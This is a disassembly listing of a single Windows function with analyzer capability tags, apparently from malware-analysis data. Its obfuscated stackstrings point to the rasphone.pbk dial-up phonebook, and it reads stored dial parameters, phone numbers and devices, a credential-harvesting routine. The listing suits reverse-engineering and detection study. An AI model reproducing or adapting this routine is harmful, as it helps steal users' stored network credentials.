Function at 0x10002b00
Capabilities:
Contain obfuscated stackstrings
Get common file path
Link many functions at runtime
Reference processor manufacturer constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x860
mov eax, dword [0x1001a280]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x10015460
push 0x1001546c
mov dword [ebp - 0x840], ecx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.GetPrivateProfileSectionNamesA
push 0x10015418
mov dword [ebp - 0x83c], eax
call edi
push eax
call esi
push 0x10015570
push 0x1001546c
mov dword [ebp - 0x858], eax
call edi
push eax
call esi
push 0x1001549c
push 0x1001546c
mov dword [ebp - 0x844], eax
call edi
push eax
call esi
push 0x1001558c
push 0x1001546c
mov ebx, eax
call edi
push eax
call esi
push 0x100154b4
push 0x1001546c
mov dword [ebp - 0x838], eax
call edi
push eax
call esi
push 0x100154c0
push 0x1001546c
mov dword [ebp - 0x854], eax
call edi
push eax
call esi
push 0x1001559c
push 0x1001546c
mov dword [ebp - 0x848], eax
call edi
push eax
call esi
mov dword [ebp - 0x85c], eax
mov dword [ebp - 0x1c], 0x75636f44
mov dword [ebp - 0x18], 0x746e656d
mov dword [ebp - 0x14], 0x6e612073
mov dword [ebp - 0x10], 0x65532064
mov dword [ebp - 0xc], 0x6e697474
mov dword [ebp - 8], 0x5c7367
mov dword [ebp - 0x90], 0x7070415c
mov dword [ebp - 0x8c], 0x6163696c
mov dword [ebp - 0x88], 0x6e6f6974
mov dword [ebp - 0x84], 0x74614420
mov dword [ebp - 0x80], 0x694d5c61
mov dword [ebp - 0x7c], 0x736f7263
mov dword [ebp - 0x78], 0x5c74666f
mov dword [ebp - 0x74], 0x7774654e
mov dword [ebp - 0x70], 0x5c6b726f
mov dword [ebp - 0x6c], 0x6e6e6f43
mov dword [ebp - 0x68], 0x69746365
mov dword [ebp - 0x64], 0x5c736e6f
mov dword [ebp - 0x60], 0x5c6b6270
mov dword [ebp - 0x5c], 0x70736172
mov dword [ebp - 0x58], 0x656e6f68
mov dword [ebp - 0x54], 0x6b62702e
mov byte [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0x7263694d
mov dword [ebp - 0x48], 0x666f736f
mov dword [ebp - 0x44], 0x654e5c74
mov dword [ebp - 0x40], 0x726f7774
push 0x105
lea eax, [ebp - 0x198]
push eax
mov dword [ebp - 0x3c], 0x6f435c6b
mov dword [ebp - 0x38], 0x63656e6e
mov dword [ebp - 0x34], 0x6e6f6974
mov dword [ebp - 0x30], 0x62705c73
mov dword [ebp - 0x2c], 0x61725c6b
mov dword [ebp - 0x28], 0x6f687073
mov dword [ebp - 0x24], 0x702e656e
mov word [ebp - 0x20], 0x6b62
mov byte [ebp - 0x1e], 0
call ebx
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x198]
push 0x5c
push eax
call fcn.10008c20
add esp, 8
inc eax
push eax
call dword [ebp - 0x848]
mov ebx, dword [ebp - 0x840]
mov esi, dword [ebp - 0x83c]
push dword [ebx + 0x14]
lea eax, [ebp - 0x198]
push eax
call esi
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x198]
push eax
call esi
push 0
push 0x23
lea eax, [ebp - 0x3a0]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x3a0]
push eax
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x198]
mov dword [ebp - 0x850], eax
lea eax, [ebp - 0x3a0]
add esp, 0x10
mov dword [ebp - 0x84c], eax
lea eax, [ebp - 0x834]
push eax
mov dword [ebp - 0x834], 0x94
call dword [ebp - 0x838]
cmp dword [ebp - 0x824], 2
jne 0x10002d95
cmp dword [ebp - 0x830], 5
jb 0x10002d95
mov ecx, ebx
call fcn.100029d0
push 0x1000
call fcn.1000869c
add esp, 4
mov esi, eax
xor edi, edi
mov dword [ebp - 0x860], esi
mov dword [ebp - 0x838], edi
push 0x1000
push 0
push esi
call fcn.10008b90
add esp, 0xc
push dword [ebp + edi*4 - 0x850]
push 0x1000
push esi
call dword [ebp - 0x858]
cmp byte [esi], 0
mov edi, esi
mov dword [ebp - 0x83c], esi
je 0x10002fce
push edi
mov ecx, ebx
call fcn.100037d0
push 0x100
mov dword [ebp - 0x840], eax
lea eax, [ebp - 0x298]
push 0
push eax
call fcn.10008b90
push 0x100
lea eax, [ebp - 0x4a0]
push 0
push eax
call fcn.10008b90
push 0x100
lea eax, [ebp - 0x6a0]
push 0
push eax
call fcn.10008b90
push 0x100
lea eax, [ebp - 0x5a0]
push 0
push eax
call fcn.10008b90
push 0x100
lea eax, [ebp - 0x7a0]
push 0
push eax
call fcn.10008b90
mov eax, dword [ebp - 0x838]
add esp, 0x3c
push dword [ebp + eax*4 - 0x850]
lea eax, [ebp - 0x298]
push 0x100
push eax
push 0
push str.DialParamsUID
push edi
call dword [ebp - 0x844]
test eax, eax
jle 0x10002efd
xor esi, esi
cmp dword [ebx + 0x10], esi
jle 0x10002efd
xor edi, edi
lea ebx, [ebx]
mov eax, dword [ebx + 0x1c]
add eax, edi
push eax
lea eax, [ebp - 0x298]
push eax
call dword [ebp - 0x85c]
test eax, eax
je 0x10002eb5
inc esi
add edi, 0x301
cmp esi, dword [ebx + 0x10]
jl 0x10002e90
jmp 0x10002ef7
mov eax, dword [ebx + 0x1c]
imul esi, esi, 0x301
mov edi, dword [ebp - 0x848]
add eax, 0x200
add eax, esi
push eax
lea eax, [ebp - 0x4a0]
push eax
call edi
mov eax, dword [ebx + 0x1c]
add eax, 0x100
add eax, esi
push eax
lea eax, [ebp - 0x6a0]
push eax
call edi
mov eax, dword [ebx + 0x1c]
mov byte [esi + eax + 0x300], 1
inc dword [ebx + 8]
mov edi, dword [ebp - 0x83c]
mov eax, dword [ebp - 0x838]
push dword [ebp + eax*4 - 0x850]
lea eax, [ebp - 0x5a0]
push 0x100
push eax
push 0
push str.PhoneNumber
push edi
call dword [ebp - 0x844]
mov eax, dword [ebp - 0x838]
push dword [ebp + eax*4 - 0x850]
lea eax, [ebp - 0x7a0]
push 0x100
push eax
push 0
push str.Device
push edi
call dword [ebp - 0x844]
lea eax, [ebp - 0x7a0]
push eax
mov ecx, ebx
call fcn.100037d0
mov edi, eax
lea eax, [ebp - 0x4a0]
push eax
mov ecx, ebx
call fcn.100037d0
mov esi, eax
push edi
lea eax, [ebp - 0x5a0]
push eax
lea eax, [ebp - 0x6a0]
push eax
push esi
push dword [ebp - 0x840]
lea eax, [ebp - 0x298]
push eax
mov ecx, ebx
call fcn.10003440
push dword [ebp - 0x840]
call fcn.1000757e
push esi
call fcn.1000757e
push edi
call fcn.1000757e
mov edi, dword [ebp - 0x83c]
add esp, 0xc
push edi
call dword [ebp - 0x854]
inc edi
add edi, eax
mov dword [ebp - 0x83c], edi
cmp byte [edi], 0
jne 0x10002de6
mov esi, dword [ebp - 0x860]
mov edi, dword [ebp - 0x838]
inc edi
mov dword [ebp - 0x838], edi
cmp edi, 2
jb 0x10002db2
push esi
call fcn.1000757e
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
mov al, 1
pop ebx
call fcn.10008710
mov esp, ebp
pop ebp
ret